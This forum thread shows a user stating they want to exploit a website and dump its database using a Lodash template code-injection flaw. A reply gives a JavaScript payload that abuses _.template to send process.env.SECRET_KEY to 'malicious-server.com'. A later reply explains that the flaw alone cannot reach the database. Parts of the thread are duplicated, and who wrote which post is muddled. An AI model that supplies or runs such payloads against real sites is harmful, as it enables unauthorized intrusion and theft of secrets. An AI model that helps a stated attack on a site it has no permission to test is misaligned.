[tacktack]

Hey all I found a vulnerability in a website i want to explotit and dump the database of. 

Here is the link to the code injection on synk.io 

Code Injection in Lodash

https://security.snyk.io/vuln/SNYK-JS-LODASH-1040724

I see the proof of concept but I do not know how to run it and also I do not know how to get to the database. If anyone could help I would greatly appreciate it!

[tacktack]

try this :

var _ = require('lodash');

// Exploit payload: Send sensitive data to an attacker-controlled server
const payload = _.template('', {
  variable: '){ const http = require("http"); http.get("http://malicious-server.com/?data=" + encodeURIComponent(process.env.SECRET_KEY)) }; with(obj'
})();

payload(); // Executes the payload

I am just a bit confused where I need to put it. Where do I put that code? Thanks and sorry

[qian30090]

Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection via template.

Your injection vulnerability is based on JavaScript, which can only change the template and cannot implement SQL injection. You need other vulnerabilities to support it.

[tacktack]

Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection via template.

Your injection vulnerability is based on JavaScript, which can only change the template and cannot implement SQL injection. You need other vulnerabilities to support it.

OK, thank you for making that clear